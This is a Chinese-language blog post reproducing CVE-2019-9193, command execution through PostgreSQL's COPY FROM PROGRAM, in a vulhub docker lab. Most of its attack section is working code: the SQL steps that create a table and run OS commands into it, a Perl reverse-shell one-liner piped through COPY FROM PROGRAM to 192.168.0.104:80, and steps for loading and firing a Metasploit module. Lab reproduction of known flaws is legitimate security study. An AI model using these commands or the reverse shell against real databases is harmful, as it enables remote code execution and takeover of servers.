PostgreSQL 高权限命令执行漏洞(CVE-2019-9193)复现

2019-07-25 16:40:44 浏览数 (1)

漏洞介绍

无意中看到这个漏洞 也看到这个漏洞的分析文章 看不懂原理 跟着复现

PostgreSQL,俗称Postgres,是世界上最受欢迎的数据库系统之一。它是Mac OSX系统的主力数据库,同时也有Linux和Windows版本。

CVE-2019-9193),它能使某些数据库用户利用Postgres实现任意代码执行。这个漏洞几乎影响了PostgreSQL的所有版本(从9.3到最新的11.2),同时也影响了所有的操作系统:Windows,Linux和Mac。

漏洞原理

从9.3版本开始,Postgres新增了一个COPY TO/FROM PROGRAM功能,允许数据库的超级用户以及pg_read_server_files组中的任何用户执行操作系统命令

攻击步骤

  • [可选]删除你想使用但已存在的表
代码语言:javascript复制
  DROP TABLE IF EXISTS cmd_exec;
  • 创建保存系统命令输出的表
代码语言:javascript复制
CREATE TABLE cmd_exec(cmd_output text);
  • 通过COPY FROM PROGRAM功能运行系统命令
代码语言:javascript复制
COPY cmd_exec FROM PROGRAM 'id';
  • [可选]查看结果
代码语言:javascript复制
  SELECT * FROM cmd_exec;

需要注意的是原本命令中的任何单引号都必须转换为双引号才能正常生效 ## 漏洞复现

  1. 环境搭建 p牛的漏洞库可以用更新了 可以直接从页面中
代码语言:javascript复制
https://github.com/vulhub/vulhub/tree/master/postgres/CVE-2019-9193

然后

代码语言:javascript复制
docker-compose up -d
  1. 尝试攻击
代码语言:javascript复制
     DROP TABLE IF EXISTS cmd_exec;
     CREATE TABLE cmd_exec(cmd_output text);
     COPY cmd_exec FROM PROGRAM 'id';
     SELECT * FROM cmd_exec;
代码语言:javascript复制
     COPY files FROM PROGRAM 'perl -MIO -e "$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;"';

进阶利用

可以直接使用msf的模块进行攻击

地址如下:

代码语言:javascript复制
  https://github.com/Greenwolf/postgres_cmd_execution_nine_three

不过这里得说明一下,使用这个模块是需要会一点基础的ruby知识,代码里面是有彩蛋的,我也踩了点坑。我想,应该是代码作者有意而为之,不能让别有用心的人直接拿过来用吧。具体是什么的就不说了,自行测试,哈哈。

利用步骤:

  1. 打开kali下载postgres_cmd_execution_nine_three.rb 修改完毕之后,将文件拷贝到/usr/share/metasploit-framework/modules/exploits/multi/postgres/postgres_cmd_execution_nine_three.rb路径中去 然后在msfconsole中
代码语言:javascript复制
reload_all
  1. 加载模块,设置参数
代码语言:javascript复制
use exploits/multi/postgres/postgres_cmd_execution_nine_three
  1. 开始攻击
代码语言:javascript复制
exploit

## 参考文章

代码语言:javascript复制
https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5

0 人点赞